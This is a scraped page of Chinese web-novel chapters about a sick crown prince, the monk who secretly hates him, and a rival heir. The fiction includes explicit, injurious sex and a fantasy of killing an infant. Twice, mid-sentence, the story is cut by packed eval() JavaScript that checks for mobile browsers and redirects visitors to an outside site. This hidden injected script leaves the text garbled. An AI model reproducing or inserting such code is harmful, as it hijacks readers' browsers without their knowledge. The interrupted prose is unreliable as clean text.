李颐身体不好,不过除了五岁、十五岁那两次大病外,别的时候一直就是小病,逢年过节、换季疲累都要发烧,仿佛他五脏中的不洁都要及时烧毁,不能有一点残留,都烧出了经验,越烧越精神,病中也能和人你来我往地呛声。 裴见濯觉得他今天态度有点不对,知道他是不安李知微没来看他,又看他面色还好:“修人是医官的活,臣不会,臣还是给殿下修床吧。” 李颐这张床太精细,是他突发奇想做的,有时候会运转不灵,别的工匠都不会弄,他又常年在外头,李颐就只能守着将坏未坏的星空顶等他回来。 床上摆设收走,裴见濯脱了靴踩上去,检查床顶构造,李颐拥衾,歇在一张大躺椅上,怀抱一个破旧的老虎玩偶,从背后目不转睛盯着他,轻声细语:“你回来多久啦?” 这床压根没坏。 裴见濯一边装模作样检查,一边回应道:“十五晚上到的万年县,太晚了,就没进城。听说殿下上玉祥楼看灯了,怎么样?” 李颐道:“人很多,挺热闹。那你是十六日进的城?” 裴见濯摸摸床顶:“嗯。” 李颐问:“你家里挺冷清吧。” 裴见濯手一停,低头看去,李颐正盯着他,二人目光一碰,裴见濯笑道:“说冷清倒还不至于,人还是挺多的。” 李颐又问:“你家里的事务是谁在操持?” 裴见濯道:“臣奶娘,从前兄长也留下几个管事,很得力。” 李颐道:“少个女主人。” 裴见濯道:“臣常年在外,还是不耽误好姑娘了。” 李颐揪着老虎的头:“也未必是姑娘。”意思说是男人。 裴见濯不接招:“殿下说得对,臣这年纪已经配不上大姑娘了,再过两年,的确人家要给臣介绍什么寡妇小嫂了。” 李颐:“……” 裴见濯反客为主:“殿下怎么忽然和臣说起这件事了,是有人要给臣介绍吗?”他还挺激动:“长嫂薨逝后,臣家中再没有别的长辈,臣又常年在外,这一来二去就耽搁了。” 原来你是没有人给你介绍,才和我爹勾搭在一起的吗?! 李颐深吸一口气:“……没有,你是想着找吗?” “臣觉得臣条件也不错,您看,嫁过来呢,不用伺候公婆,家里人口也简单,臣长年在外,她想干什么就干什么,钱,臣家里也还有一些,买买衣服穿戴应该是够了,臣在河道上有吃有住的,不花钱,还不用置办新衣服。”裴见濯捣鼓了一阵,又拿磁针石来转动,长声呼唤,“修好了。乐寿——” 乐寿闻声而进:“都督。” “给殿下把床铺上吧。”裴见濯跳下床,套上靴子,“殿下还抱着这只小老虎呢?” 李颐抓紧手里的玩偶:“嗯。” 裴见濯看着他长大,知道李颐从婴儿时候就抱着这老虎,已经形成了惯性,一紧张就要在怀里捏摁,此刻老虎身上褪色的斑斓花纹都扭曲了。 李颐的御敌状态。 裴见濯猜测是十六日时薛妙施撮合李颐和窦家二娘子见面时说漏了嘴,叫李颐觉出了他和李知微的关系,不然这么多年,李颐也不会在这个时候突然发难。 这事吧,懂的人就懂了,不懂的人,譬如李颐,他总不能拉着李知微的手对李颐说“善思,我和你爹在一起了,我是你后爹”吧,也太奇怪了,要讲,自然也可以,但这事情怎么讲,难不成特地叫他过来吃顿饭,两个人清清嗓子这么宣布吗? 一开始没说,后面也就一直没说了。 怎么办呢? 裴见濯还在犹豫,李颐已经十分警惕,好像一只竖毛弓腰的猫,于是只能按下不言:“床铺好了,殿下就去床上休息吧。” 李颐起身,由几个内臣扶着往床边走,回头看他,叫道:“二哥。” 这并不是一个常见的称呼,哥在鲜卑语中寓意着男性长辈,尤指父亲。 裴见濯对这对父子有叹不完的气,心里又想着李知微在紫宸殿的情况。 原本李知微丹毒发作,病情反复,今年上元节不准备大办,但李知微为把李颐带到人前,愣是叫太医施针,强撑着上玉祥楼。如今一泄气,病情更为严重。 李颐眼里也是一大泡热泪,仿佛裴见濯再说点什么重话,他就得当场心碎惊厥过去。 算了,都这么多年了,非弄那么明白干什么,用李知微的话来说,他们这一代没了,这些事也就风流云散、无人问津了。 裴见濯给李颐掖了掖被子:“臣当不起殿下这个称呼,殿下还是叫臣名字吧。臣方才是说笑的,臣不需要介绍,臣其实在扬州有相好的,她不大习惯京里,就没来过,一直在老家呢。” “真的?” “真的,下次东巡,臣把他带来给殿下看看,就是怕他说话,殿下听不懂,扬州话么。” 李颐目光炯炯盯着他:“那你有孩子没有?” “这个还没有。” “有了,你和我说。”李颐还挺大方,“你不常在京中,孩子可以养在我这里。” “那再好不过了。臣谢恩。” 李颐低低嗯了一声。 裴见濯拿起旁边的磁针石,伸长手臂晃了晃,床顶上,周天星辰开始运转:“这就是参宿,由三颗星星组成,正月的傍晚,参宿高悬南方,民间也管这叫福禄寿三星。” 裴见濯挑了三颗最亮的星星,连成一条,祝福李颐多福、至禄、长寿:“节日快乐,善思。” 李颐看了一会儿,僵僵出声:“你也是,见濯。” 裴见濯摸了摸他的额头,感觉不烫,想医官昨天来紫宸殿回报说李颐已经发了汗,想必是马上要好了,便起身告别。 等他走了,李颐眼角的泪珠才彻底滑下。 他只对陆怀谷说过自己的床坏了,换而言之,裴见濯只有去紫宸殿,看到陆怀谷了,才会知道这件事情,过来修床。 他知道李颐生病,李知微肯定也知道。 可李知微没来。 李知微为什么不来? 裴见濯给他排布好的星空静静散着光,李颐想拿起磁针石把它们都搅乱,可又觉得这些星星很好,很美,就像裴见濯真的对他很好一样。 爹爹不来,只是为了把机会让出来,亲密他和裴见濯的关系罢了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332329|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——如果裴见濯有女儿,一定会是你的太子妃。 妙觉的话又在李颐耳边响起来。 一个是登基多年空置后宫的皇帝,另一个是总摄水运终身未娶的权臣,那些过于亲密的瞬间,李颐在夜晚的紫宸殿还能看见裴见濯的身影,所有的疑惑都有了解答。 所有人都看出来的事情,连妙觉都知道! 除了李颐。 这么多年,李颐早已把裴见濯当成亲人,可是,可是一想到他和父亲…… 什么故剑情深,南苑遗爱,都是假的! 人也许会爱一个人,但不会永远只爱一个人,正因为无法做到像大雁那样的忠贞,才会艳羡,把它当成美好象征。 李颐心中悲伤,又不敢哭出声音,叫外面的内臣听见担忧,很快泪水就把旁边的小老虎打得深一块浅一块,泪眼朦胧里,一线光忽然透进来。 算算时间,裴见濯也该回到紫宸殿了。 爹爹? 他心里肯定放心不下我,肯定会亲自来看我的! 李颐看也不看,直接扑入来人怀中,呜咽道:“我头好痛,我……” 妙觉一愣,张开怀抱,抱住他,试探出声:“善思?” 李颐僵在他怀里,连眼泪都忘了流,妙觉有些无所适从地摩挲他的身体,李颐躺在床上,衣衫单薄,妙觉的手从他的腰上一直滑到脑后,慢慢、慢慢,安抚。 李颐的心也不知为什么忽然猛烈跳动起来:“啊?” 妙觉问:“你方才,是在和我说话吗?” “不是你还是谁?” 妙觉手掌上的书茧,勾破李颐寝衣上的丝线,骨骼在衣下振翅欲飞:“我以为,你在和陛下说话。” 李颐哀哀在他掌下打了个颤,又强声道:“我……我当然是在和你说话,我病了好几天,你为什么不来看我?” 后面的话自然越说越理直气壮,他跪在床上,正在妙觉怀中。妙觉无所适从,又紧张又愧疚,结巴了半天,索性直接道歉:“对不起,其实我不知道你病了,我是来给你送雪夹儿的。” “他家摊子有些味道,你不大喜欢,我就叫他打了一份,放在盒子里,已经请人去热了,可你病着,还是叫他们不要拿来了。”妙觉说,“你好好养病,我陪着你。” 说罢,作势要出去找乐寿。 “哎,等一等。”李颐拦住他,“你来巧了,我病刚好,可以喝了。” 妙觉欢喜起来:“真的吗?” 妙觉天生眼盲,不知道正常人是怎么笑的,只会本能地咧开嘴,露出牙,仿佛很开心很开心的样子。 李颐盯着他,忽然也被他感染了喜悦,又问他:“你这几天在干什么?” “修行。” “只是修行?” “还有译经。” “除了修行和译经呢?” “想你。” “为什么想我?”李颐咄咄逼人。 “想你还没有喝到雪夹儿,他们都说很好喝。” “除了修行、译经和想我呢?” 妙觉有点困惑,歪了歪头,不解道:“除了这些,我似乎没有别的什么可做了。” 李颐在他怀里,仰起头,揽住他的脖子。 妙觉站在他床边,站的笔挺,好像一棵柱子,又仿佛能察觉到他的目光一样,双目紧阖,睫毛颤动。 “既然这么好喝,你为什么不请别人喝雪夹儿?” 妙觉再次困惑了:“别人?” 李颐嗯了一声。 妙觉道:“谁是‘别人’,世尊吗?那叫供养,善思,你不能这么说话。” 李颐失笑:“为什么会想到世尊?” 妙觉说:“有好的东西,我只想奉献给世尊和你。” 李颐说:“为什么把世尊和……我,相提并论?” 妙觉说:“因为你是我在尘世间的佛。” 他说话时神情自然,李颐却如遭雷击,浑身战栗,松开他的脖子,心神不宁地跪坐在床上,摸索了半天,终于找到了那只布老虎,抓在手上:“雪夹儿呢?” 妙觉说:“我帮你去问一问,应该快好了,它热了以后,上面会浮起——” “快去拿!”李颐声音有点高,“乐寿!” 乐寿一直守在外面,李颐道:“让人带阿觉去拿一下雪夹儿。” 乐寿见他面容发红,气色颇佳,显然是大好了,于是喜上眉梢,连忙叫人领妙觉去拿热好的雪夹儿,一边又带着人在帐中给李颐穿衣服。 李颐不爱在床上吃东西。 床顶上福禄寿三星光芒炽盛,打在李颐脸上,好像颊边一颗亮痣,忽而有,忽而无。 李颐一边舒展手臂,让内臣给他系裹,一边又道:“脸上好像起皮了。” 起皮了? 乐寿心下一紧,凑近看去,只见李颐面浮桃花,脸上一点瑕疵都没有,更别说什么起皮了。 找了半天,他才在李颐的眼尾找到一点薄红。 地龙烧起来的确有点热,李颐皮肤又娇嫩,风一刮都红,脸上发干也正常,就是红的位置不巧,不知道的还以为他刚才哭过呢。 乐寿连忙道:“我这就去拿兰膏。” 为了辟邪,李颐在病中常穿亮色,此刻身上明紫牡丹纹宽袖曳地袍秾丽至极,若非外头套了一件襌衣冲淡艳色,乐寿都不大敢看他。 墨发披散下来,李颐催促乐寿道:“快去吧,要香一些的。” 9.独使至尊忧社稷1 李颐的头发很长。 他小时候,李知微不知道从哪里听来,说婴儿颅骨未合,因此要在顶上留一撮鬌发,不然魂灵就会从囟门溜走,李知微心想李颐体弱,应该多多益善,人家留一撮,李颐得留一堆,于是一缕头发都没给李颐剪过。 后来想起剪的时候,李颐就抱着他那个布老虎,不说不让剪,也不说让剪,就是挂着脸让人体察。 李知微看明白了,挥挥手,一整个剃头队伍就此解散,再也没组起来过。 这头发放任了十八年,已经垂盖臀部,涨过大腿,落在膝弯处,幸好李颐头发黑顺细软,又经宫廷秘方无数妙手护理,看上去不像狂草,倒如缎带,坐在摇椅上看书的时候,便把头发两边分开,放在胸前,宁静美好。 斗大的字掠过眼睛,妙觉端着雪夹儿进来,热腾腾冒着白烟,奶皮结了厚厚一层,原本往床边走的,经内臣一引,才知道李颐在椅子上。 他对李颐的卧房很熟悉,内臣稍稍一拽,他便摸索着朝李颐走过去,李颐则早发现他,也不出声,只侧躺着,静静地看他向自己走来。 因为妙觉的缘故,李颐很少改动重华宫的摆设,赘物更是半点没有,妙觉走得很放心,一直走到李颐面前,那碗雪夹儿都没怎么晃动。 脚尖碰到绣凳,他绕到前方,坐下:“我喂你喝吧。” 有模有样的,调羹舀一舀,裹住上头那层奶皮,李颐偏过头含了一口,妙觉问他:“好喝吗?” 还行。 李颐喝不了牛乳,羊乳则成了必备,这些年膳官都做出花来了,外头的调料,如何也是比不到宫中的,不过喝起来有点新鲜劲。 看在是妙觉带的,他挺给面子地嗯了一声。 他在摇椅上,嫌停下来喝东西麻烦,喝了一口以后就不要了。妙觉听见摇椅晃动的声音,知道李颐是不打算再喝了,热的时候不喝,冷了,膻味出来,就更别想进他的嘴。 妙觉自己捧着碗,在李颐旁边静静地喝,喝完了,李颐还在晃椅子,他问:“你在干什么?” 李颐说:“看书。” 这活动是妙觉肯定参与不了的:“能念给我听听吗?” 窸窣一下,李颐侧躺过来,轻轻念:“予永念曰:天惟丧殷,若穑夫,予曷敢不终朕亩。” 妙觉问:“什么意思?” 李颐说:“周公代成王出征,平定三监叛乱时——三监就是周公派去监视敌国的三个兄弟,他们帮助商纣王的儿子叛乱——作的诏书。这句话的意思是,上天是一定会灭亡商朝的,而我所履行的不过是一个农夫耕地的职责,留下庄稼,除掉杂草。” 妙觉自幼读的是佛经,没有参过儒禅:“听起来,这位周公是个将军,不是农夫,为什么会把出征和耕地联系在一起?” 李颐陪父亲参加过农耕,万年县就有一块福田,春耕的时候他们会在那里扶耜,为天下之先:“一片田里不可能只长庄稼,还会长杂草,杂草多了,庄稼就长不好,就好像一个血脉的兄弟,有好的也有坏的。” 妙觉问:“所以,农夫除草的意思,是他要杀掉自己的兄弟?” 李颐说:“对。” 妙觉很少读这些书:“最后结果怎么样了?” 李颐笑一笑:“周公是古往今来第一位大圣人,人称元圣,是孔子的老师,你说结果怎么样了?” 他合拢书本,卷在手上,愉悦地站起身来。 妙觉感受到一缕香风飘过,李颐的长发飞舞起来,轻轻擦过他的脸颊。 “从周成王三监之乱到汉景帝七国之乱乃至于晋末八王之乱,古往今来,藩王起事,都没有成功的。” 妙觉闭着眼睛,面目仍然朝向摇椅,仿佛李颐那缕头发是抽在他脸上的一个耳光:“原来是这样。” 李颐走向床,把书放在一边。 兰膏已经摆在床头,因李颐属兔,东宫中有许多兔型摆件,李颐接过,拿在手里把玩,兔耳朵被做成挖勺,打开兔背,就涌出一股桂香,仿佛这会儿不是上元,而是中秋。 其实他病了好几天,月亮已经不圆了。 “这会儿宫门关了,你今天和我睡吧?咱们聊聊天。” 妙觉说:“你的身体还没好?我睡旁边小房子里吧,上次薛洽说,我应该睡那里。” 他是说上次和李颐一块睡,薛洽过来时一个没注意,掀床帐时没看见李颐,看见一个青头,吓得跌在地上摔得屁股成八瓣的事。 李颐说:“什么应不应该?那是薛洽睡的地方,他不干净,你少听他的话。” 妙觉问:“他不干净,哪里?” 李颐冷冷道:“脑子。” 妙觉没反应过来,乐寿一边憋笑,一边道:“法师是住惯了的,何必推辞。” 两人从小一起长大,更何况乐寿多少也知道一些妙觉的身世,并不觉得他住在宫中有什么不对,反而心下叹惋,甚至还帮李颐劝说:“薛小郎这人就爱耍嘴,法师不要和他计较。时候不早了,先和我沐浴去吧。” 又转头叮嘱李颐,也同样说给妙觉听:“殿下今日不可聊得过晚啦。” 这俩人聊起来就没完没了的。 李颐嗯了一声,妙觉果然也不再推辞,转去沐浴了。 李颐把书随手一放,扔在床边,手里攥着兰膏沉思。 乐寿出去时恰好看见李颐若有所思的样子,想他是不是不大喜欢这罐兰膏的味道。 诶,等等,那本书? 他乐寿年幼入宫,从小在内侍省长大,也曾经在紫宸殿服侍过,四书五经不说倒背如流,那也是信手拈来。 李颐方才念的,就是前几天陶时止给他上课的《大诰》片段,出自《尚书》。 李颐手上这本书,不是明晃晃“周易”两个大字吗?! 这看起来怎么有点货不对板? 再等等! 李颐的书从来都是用浅黄绫罗包裹住,纸页都柔软,唯恐翻书时刮了手指尖,眼下这本书怎么是暗蓝色,连上头印的书名都有些重影? 李颐哪来的这本劣质书? 妙觉见他停下,疑问道:“怎么了?” “啊,没什么,法师这边走。” 乐寿带着妙觉出门后,李颐道:“你们都去睡吧,不用在这里。” 李颐幼时在民间长大,没有和内臣宫人一起睡觉的习惯,也不用哄,不用守夜,人围着他,他还嫌吵。没有李知微和妙觉陪着,他自己乖乖拽着那个布老虎就能睡着。因此众人见他露了困意,便纷纷告退。 李颐孤身一人在房中,悄悄摊开手掌。 方才从琉璃兔中挖出的膏体,被体温一暖,变成淋漓油光,李颐嗅一嗅,深呼一口气,伸向衣中。 …… 很快,他疼得有些受不了,又胀又腻,跪坐在床上,用干净的那只手翻开《周易》,里头没写什么自强不息、厚德载物,字字句句都是莺声浪语,被底鸳鸯。 李颐逐图逐字确定一遍,仍然不可置信。 怎么两口唾沫就成的事,到他这里就那么麻烦?痛死了!薛洽不会买到假书了吧? 这好像本来就是假书来着。 要不然停下来? 不,我绝不停!李颐倒吸冷气,不仅不停,反而加了一根,他本就大病初愈,如今额头更是涔涔冒汗,头发一缕缕腻在脖颈上,激出一阵别样的香气。 床顶上的福禄寿三星,打在他曲起的颈上。 不停! 我就要妙觉——我就要妙觉! 这个世界上,谁都有别人,每个人生下来就有千丝万缕的联系,父母兄弟姐妹姑表甥舅挚友亲朋……一张弥天铺地的蜘蛛网,每个人都是趴在网上的蜘蛛,在网里成长、老去,谁能分得清更爱孩子还是更爱妻子,更爱父亲还是母亲? 就好像他确信父亲爱他,但父亲最爱的是他,他的母亲,还是裴见濯? 床幔轻轻拂起来。 妙觉来了。 李颐脸上浮起一层甜蜜的微笑。 只有妙觉不一样,妙觉的答案是唯一的,确定的。 除了佛陀和李颐,他谁也没有。 他在整个尘世间,心无旁骛地爱着李颐。 床幔掀开,妙觉换了一身寝衣,扶住床沿,正准备躺上去,却先摸到了一朵云。 他没有见过云,别人告诉他,云在天上,是天底下最柔软的东西。 李颐的衣服也许是云,李颐的长发也许是云。 肌肤…… 他摸到李颐的心脏,在胸膛下震动。 月桂的香气铺满床笫。 妙觉伸出手,轻轻抚摸他,并不知李颐的肌肤因为他手上的茧泛出红痕:“你怎么没穿衣服?” 他确定李颐身上除了头发什么都没有,撩开头发,他一寸寸地排除过,从头到脚。 什么,都,没有。 随即了然:“你打翻茶杯了?我叫乐寿进来。” 李颐:“……不要。” 哦,是不好意思了,毕竟李颐已经成年,在床上喝茶撒了,挺丢脸。 妙觉很体贴地:“我来给你换吧。”他摸索着上床,李颐床头有放备用衣服,怕夜间出汗弄的,可他刚碰到床头,微凉的躯体就覆盖上来。 李颐从后面把他抱住,手往里一探。 妙觉身形一顿,很宽和一笑:“善思,不要逗我玩啦,我不会……” 不会什么? 李颐轻轻抚摸着,对着他耳朵吹了口气。 那种最原始的,从未在妙觉心里诞生过的冲动,忽然不言自明地,在他只回荡着梵唱与仇恨的内心横冲直撞。 李颐的唇落在他身上,如果不是要吃掉他的话,大概是在吻他。 他可真…… 妙觉还僵着探索床柜的姿势,李颐钻到他身下,月桂芳香却盈溢上来,小鸟一样,轻轻啄。 妙觉发了个抖,他想李颐可真、可真—— 可真贱啊。 李知微是卑鄙、恶毒、恩将仇报、反复无常,总之是世间一切贬义词。 但李颐不一样,李颐很纯粹。 纯粹的贱。 蛇一样缠上来,比蛇烫。 没有人告诉妙觉天边的云是什么样的,他抚摸李颐的衣服,那是云的材质;抚摸李颐衣服上的图案,那是云的形状。 他抚摸李颐,就像抚摸一朵云。 李颐没有任何声音,沉默着,“啧啧”几声泛出来,不出自他的喉咙,他轻轻叫他:“阿觉。” 皇太子,未来的皇帝,天生的贱种。 竟然贱到伏在我身下,叫我的名字。 我是谁? 妙觉忽然直起身来,一把推开李颐:“你着魔了!” 我是一个瞎子,一无所有的瞎子,如果他不扶着,我都找不到地方。他爹卖屁股都挑着宰相公卿,因此卖出了好价钱,做了皇帝,他呢? 他呢?! 什么也不为。 连平康坊最廉价的妓女也要甘拜下风。 太贱了,太贱了,妙觉在心里骂他,骂声回荡,太贱了、太贱了! 李颐的吻轻轻落在他脸颊上:“什么魔?” “你不是说我是你在尘世间的佛吗?你不该尊奉我吗?” 妙觉语塞:“我……” 李颐质问他:“你要是不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343751|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这是什么?金刚杵?” 视觉的沦丧让一切都放大,很快,他听见李颐倒吸冷气的声音,听见泪珠滚落他脸颊。 他听见李颐痛的要死了,颤抖着说爱他。 他说,我也爱你,善思,比爱世尊更甚。 ——我恨你。 妙觉轻轻拂去他额头上的汗水,李颐还在发抖,像一条濒死的鱼在岸边拍尾巴,头发黏在背上。 ——比爱我的佛更重要。 ——比起极乐净土,我更希望送你下阿鼻地狱。 ——亲手。 李颐把脸颊轻轻贴在他的掌心,像很久以前妙觉在慈云寺台阶上捡到的猫,很乖,很听话,妙觉至今还记得师兄对他的夸奖。师兄说,猫是很有灵性的生物,会走向真正慈悲的人。 和李颐长久待在一起以后,他再也没有养过任何动物,这是他为复仇作出的必要牺牲。 他没想过牺牲到这个地步。 和李颐发生这样的关系。 但关系发生了,更有利于他的计划。 李颐又说爱他,好像这么多年读的书都在狗肚子里了,只会反反复复说爱,这是什么很罕见很高贵的东西吗? 李颐为什么爱他,凭什么爱他?这个问题一直到云消雨散妙觉都没想明白,只能归根于李颐的天性,他是妓女的后代,骨子里带来的下贱,无法改变。 李颐仰躺着,还在发抖。妙觉盘腿坐起来,口念佛偈,手却忍不住抚摸李颐的肚子。 李颐如果能生孩子就好了,他一定会让他怀孕的,不为别的,只为了这个孩子生下来的那一天,李颐肯定会很虚弱,他可以把它抓起来,李颐拦不住他,只能在后面尖叫、哭喊、哀求,从来轻声细语的嗓音变了调,从喉咙里挤出来,而妙觉不管,他会把婴儿拎到李知微面前,在李知微面前把它摔得四分五裂,像瓷器,琉璃,一切的一切…… 李知微一定面不改色,看着他发疯。 然后,他就会告诉李知微,这是李颐的孩子,你的孙子,李颐心甘情愿自作主张一厢情愿地怀了我的孩子。可我嫌恶心,我不要这个鬼东西! 你们三个一起去死吧! 李知微的脸色一定会很好看,因为那个鬼东西是李颐的孩子,他最宝贝最宝贝的儿子生出来的。 孩子。 一团浓郁的黑色在妙觉脑内蔓延,没有别的颜色,他的人生就这样一团一团地相连,偶尔被李颐拨散开。 肚腹颤动,李颐问:“你摸这里干什么?” 他说话永远轻轻的,此刻有一点甜,像妙觉刚喝完的雪夹儿。 他大概想听到那个回答,妙觉原本也想说那个回答,但他忽然想到那个在臆想中被四分五裂的东西也是自己的孩子。 从他被抛到慈云寺的那一刻,他就注定不会再有孩子了,他是个瞎子,还是个僧人,大概不会有哪个好人愿意喜欢他,爱他的。 除了李颐这种贱人。 他忽然十分伤心,为那个压根不存在的孩子落泪,实际上他的孩子混着血在李颐身下淌出来,床褥湿得连绵,李颐轻轻叫一声:“乐寿。” 他永远学不会大声说话。 方才也是,轻轻哼,更多的是倒吸气,妙觉大概知道他很痛,有一点血腥气。但不要紧,自己很快乐,而且他是瞎子,只要李颐不说痛,他就可以装傻。 折磨李颐带给他心灵和□□上双重的快乐。 只有快乐才会让人堕落,没想到对于李颐来说痛苦也会。 真是玄之又玄的贱上加贱。 他满心满意只有这个字回荡在脑海,他恨李颐。 李颐却说爱他。 李颐怎么可以这样? 他正想着,乐寿进来了。 乐寿听到里面的动静,面如死灰地跪下:“殿下!” 李颐说:“我要沐浴,阿觉也要。如果你敢告诉爹爹,我就——” 乐寿急急道:“臣不敢。” 就怎么样? 为什么不继续说,连威胁也不会吗?告诉乐寿,如果他敢告密,就把他五马分尸、凌迟处死,李颐是太子,李知微的独子,就算李知微知道了这件事,也顶多杀了妙觉,压根舍不得动儿子一根汗毛。 更何况—— 李颐还没回来,乐寿已然折返,妙觉仍坐在床上。 乐寿痛恨道:“这事要是让陛下知道……” 妙觉闭着眼睛,叫着他的旧名:“长生,你忘记旧主了吗?” 乐寿一个激灵:“你……” 妙觉道:“这件事,你完全可以告诉陛下,听凭他的裁决。” “你!” 乐寿怎么敢? 这事虽然荒唐,但李颐方才受伤不轻,也许是两个人一时想岔了,既然这么惨烈,及时止损也未可知,若告诉皇帝,李颐自然没事,妙觉…… 皇帝还是念着旧情的,对妙觉,估计也不会赶尽杀绝。 顶多叫他俩分开罢了。 他们正是情到浓时,若在这时候被拆开,他乐寿自然也失去了李颐面前第一得意人的地位,难道他还能投靠皇帝顶替陆怀谷不成? 除了三缄其口,别无他法。 妙觉显然猜出了乐寿此刻憋屈神情,心情愉悦,随手拿起李颐枕边的老虎蹂/躏着。 他知道李颐的一切,除了这个。 李颐抓着睡觉的这只破老虎,到底是谁送的? 李颐自己也不知道,猜测是摊上甩卖的,可妙觉摸得出来那是很贵重的料子,又针脚细密,绝非民间流通之物。 在老虎斑斓的尾部,他摸到了一个字。 齐。 齐? 10.独使至尊忧社稷2 二月十五,花朝节。 东君眷顾之下,前几天还银装素裹的范阳城冰消雪融、百花盛放,胡儿汉女簪花掷果,阀阅豪族竞奢夸富,车马盈市、罗绮满街,万物生发,尽扫冬季沉寂。 范阳南凭洛邑,北抗契丹,立朝以来便是一等军事重镇,幽州刺史以此为治,囤有重兵六万,占去全国边镇兵员的五分之一。 这里同样也是帝国商旅驿路的终点,和平时代,商人们将各色奇珍异宝从南方运来,在范阳与契丹、奚、突厥等异族交易,换取他们的毛皮猎鹰后,再运回南方,攫取差价。 种种因素杂糅之下,范阳成了南北交融、胡汉杂居的狂欢之城,遇上花朝节这样的日子,军中休假,更是通宵彻夜、锣鼓喧天。 当然,热闹的是城中。 燕山是寂静的。 李攸简呆在他的虎园里,和一切热闹绝缘。 山上的花还没开,雪还没消,他把养的老虎们全部关进笼子里,一只只放出来用雪洗,在人手上硕大一捧雪,成了老虎身上的一个小冰渣,老虎抖抖皮毛,雪球就浇了李攸简一头一脸。 “自己洗去。”他抬脚踢了踢身边的老虎,“埋汰!” 老虎呜了两声,蹒跚走向雪中。 那是一只十三四岁的暮年虎,虽然受精心饲养,毛发润泽发亮,但牙齿磨损,皮肉松垮,行动也有些迟缓,露了龙钟老态。幸好它是纯阳之体,冰天雪地里腾腾冒着热气,在雪里滚了两圈,竟然带走了植被上的白色,露出下面的黄草来。 李攸简抱臂过去一看,发现一堆黄色里,一抹嫩绿正在挣扎。 春天真是到了。 又是一年啊。 他看着这株小草,忽然心情好起来,紧接着便听见篱笆外有人窸窸窣窣、自以为隐蔽地说话。 听声音,是范阳卢家派来陪着李如意的两个跟班,卢迈和卢远。 “和你说了别惹他,还非得带着小公子来这里,我和你说,要是……” “小公子要来就来了,你怕他?我告诉你,这么多年咱们都被他骗了,他口口声声说和东宫怎么怎么样,关系多好多好,说的有鼻子有眼的,今年八叔还特地去了趟薛家,薛家说根本没有的事!” “真的?” “薛洽亲口说的,他可是太子的亲……小公子!” 嘶嘶! 七岁的李如意不顾旁边两个侍从的争执,点燃火线,把竹筒扔过篱笆。 轰隆! 装满硫磺的竹筒当场炸开,在雪地上迸开一片,霎那间飞沙走石,连李攸简都被震得后退两步,原本在雪地里打滚的老虎受此一惊,瞬间扑倒在李攸简身上,浑身毛发张开竖起如倒刺一般,冲着篱笆外爆出浑浊虎啸。 “呜——呜——”虎笼也沸腾起来,虎爪一拍,铁笼摇摇欲坠,一下扭曲了好几根柱子,李攸简严厉喝止,虎笼才平静下来。 这爆竹威力不小,是战场所用,要是李如意扔到他胸口,恐怕这会儿已经炸出个血洞来了。 “哈哈哈哈哈哈哈!”李如意看老虎们像猫一样惊恐,乐得直不起腰来,又看见那只老虎竟敢保护李攸简,指挥道,“把那只老虎抓住!我要扒了他的皮给阿娘做垫子!” 李攸简挥开老虎,转眼一看。 不知是不是养多了虎,李攸简自己也生出虎态,瞳色映雪以后转金,两个卢家子弟被他目光一慑,吓得后退一步。 李如意催促道:“傻站着干什么?!” “这……”二卢内心十分犹豫。 这虎也没两年活头了,他们还带着武器,弄死它十分容易,可打虎看主人,当然,主人说的不是李攸简,李攸简不过是丧家之犬、明日黄花,空有个齐王世子名头罢了。 早晚有一天,世子头衔,甚至……都是小公子的。 他们害怕的,是远在永乐的太子李颐。 据李攸简称,这只老虎是李颐送给他的,因此每年这只老虎梳落的毛发都会扎成一个玩偶送往永乐报平安,要是这只老虎死了,明年李颐收不到东西,追查起来,他们所谋大事被发现了怎么办? 那可是灭门抄家之祸! 可要是不动手…… “快去啊,聋啦?!”李如意喊道,“我要告诉我娘去,你们——啊啊啊——” 虎园篱笆被一脚踢开。 冬去春来,薄雪覆盖的山峦之下虎啸不绝,撼得地动山摇,老虎低吼呵气,不断往李攸简身后腾白烟;人人都穿着高领披袄,李攸简身上却只有一身单衣,还把袖子挽起,手臂一用力,爆出嶙峋青筋。 他把李如意倒提起来。 “小公子!小公子!” “李攸简,你要是敢伤害小公子,让大王知道了,你和你娘都——” “李攸简!放开我!我要让爹爹杀了你!扒你的皮!抽你的筋!还有那个老妖婆!丑八怪!”李如意在空中四处乱抓,唯恐进了老虎的嘴。 砰! 李攸简把李如意关到了虎笼里。 虎笼是由精钢铸造,笼笼之间由铁索相连,李如意所在之笼虽是空的,但旁边就关着一只壮年的吊睛白额虎,此刻正被爆竹吓得狂躁不安,利爪猛拍铁笼,口中不住发出威胁低吼。 砰!砰!砰! 李如意眼睁睁看着老虎面前的铁柱歪了一点,吓得魂飞魄散:“啊啊啊啊啊!!!” 二卢也是手忙脚乱、互相推脱,一边要教训李攸简,一边又要营救如意。 显然是后一个任务轻,前一个任务重。 谁要和这个天生怪力的煞神打架?! 于是你推我搡,纷纷向虎笼跑去,口里叫嚷道:“李攸简,把钥匙交出来!” “你要是敢动小公子一根头发……哎!” 李攸简手掌一摊,虎笼钥匙挂在手指上,晃荡了一下,二卢刚要扑上去,李攸简往后一甩,钥匙就进了茫茫雪堆里,再也不见。 “谁给你们的胆子,让他来这里?”李攸简边说,边露出一个笑,牙齿白森森的像野兽,走近虎笼。 